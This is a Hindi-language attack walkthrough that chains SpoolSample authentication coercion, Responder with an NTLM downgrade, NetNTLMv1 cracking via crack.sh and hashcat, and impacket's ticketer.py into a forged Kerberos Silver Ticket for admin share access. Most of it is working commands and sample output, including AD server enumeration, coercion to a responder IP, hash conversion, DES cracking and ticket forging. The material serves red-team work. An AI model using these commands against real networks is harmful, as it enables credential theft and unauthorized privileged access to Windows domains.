
SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
इस तकनीक का उल्लेख दूसरों ने किया है, लेकिन मैंने कोई एकीकृत जानकारी नहीं देखी। नीचे हम NetNTLMv1 चुनौती/प्रतिक्रिया प्रमाणीकरण प्राप्त करने, उन्हें NTLM हैश में क्रैक करने, और उस NTLM हैश का उपयोग करके Kerberos Silver टिकट पर हस्ताक्षर करने के चरणों के माध्यम से आगे बढ़ेंगे।
यह उन नेटवर्कों पर काम करेगा जहां "LAN Manager authentication level" को 2 या उससे कम पर सेट किया गया है। यह पुराने, बड़े Windows तैनाती में काफी सामान्य परिदृश्य है। Windows 10 / Server 2016 या नए पर यह काम नहीं करना चाहिए।
@tifkin_'s (Lee Christensen) के SpoolSample के माध्यम से मशीन खाते का NetNTLMv1 प्रतिक्रिया प्राप्त करें
@0x31337's (David Hulton) के Rainbow Tables का उपयोग करके उस NetNTLMv1 प्रतिक्रिया को वापस NTLM हैश में क्रैक करें
@agsolino's (Albert Solino) के ticketer.py का उपयोग करके नव प्राप्त NTLM हैश के साथ एक Silver Ticket उत्पन्न करें
Powershell का उपयोग करके, Windows बक्सों की एक सूची प्राप्त करें। सर्वर आमतौर पर प्राथमिकता होते हैं, तो चलो वहाँ ध्यान केंद्रित करें:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
थोड़ा संशोधित @mysmartlogin's (Vincent Le Toux) के SpoolerScanner का उपयोग करके, देखें कि Spooler सेवा सुन रही है या नहीं
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
आप Linux पर rpcdump.py का भी उपयोग कर सकते हैं और MS-RPRN प्रोटोकॉल को देख सकते हैं
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
या यदि आप Linux पर हैं तो 3xocyte के dementor.py का उपयोग करें
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
उदाहरण प्रतिक्रिया:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
आप NTHASH को NTLM में उलटने के लिए Rainbow Tables के एक सेट का उपयोग कर सकते हैं, या आप इसे इसके DES घटक भागों में उलट सकते हैं और इसे hashcat से क्रैक कर सकते हैं।
एक 8x 1080 रिग लगभग 6 दिनों में इसे ब्रूट फोर्स कर सकता है, इसलिए Rainbow Tables पर विचार करें।
Rainbow Tables के लिए, https://crack.sh/netntlm/ पर एक सेवा होस्ट की गई है जो NetNTLMv1 से NTLM को मुफ्त में पुनर्प्राप्त करेगी। यह David Hulton (Toorcon) द्वारा प्रदान किया गया है। हम रेनबो टेबल्स और सॉफ़्टवेयर की एक स्थानीय प्रतिलिपि पर काम कर रहे हैं जिसे लुकअप के लिए FPGA की आवश्यकता नहीं है।
crack.sh के लिए, प्रारूप है NTHASH:(response), तो उदाहरण से NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972।
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
यह नीचे दिए गए आउटपुट को निर्देशों के साथ वापस करेगा:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
आपको इसके लिए कुछ जानकारी खोजनी होगी: जिस सेवा तक आप पहुंचना चाहते हैं उसका SPN, डोमेन SID, डोमेन उपयोगकर्ता खाता SID और स्थानीय व्यवस्थापक पहुंच वाला खाता नाम, और यदि यह समूह-आधारित स्थानीय व्यवस्थापक है तो एक डोमेन समूह जिसका वह उपयोगकर्ता सदस्य है।
सेवा के लिए, सबसे सामान्य cifs/ होगा क्योंकि यह HOST/ सेवा पर मैप होता है
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
6TB Rainbow Tables वितरित करें
@0x31337 के desrtop को FPGA की आवश्यकता न होने के लिए संशोधित करें
दूरस्थ रूप से मशीन खाता प्रमाणीकरण ट्रिगर करने के और तरीके पहचानें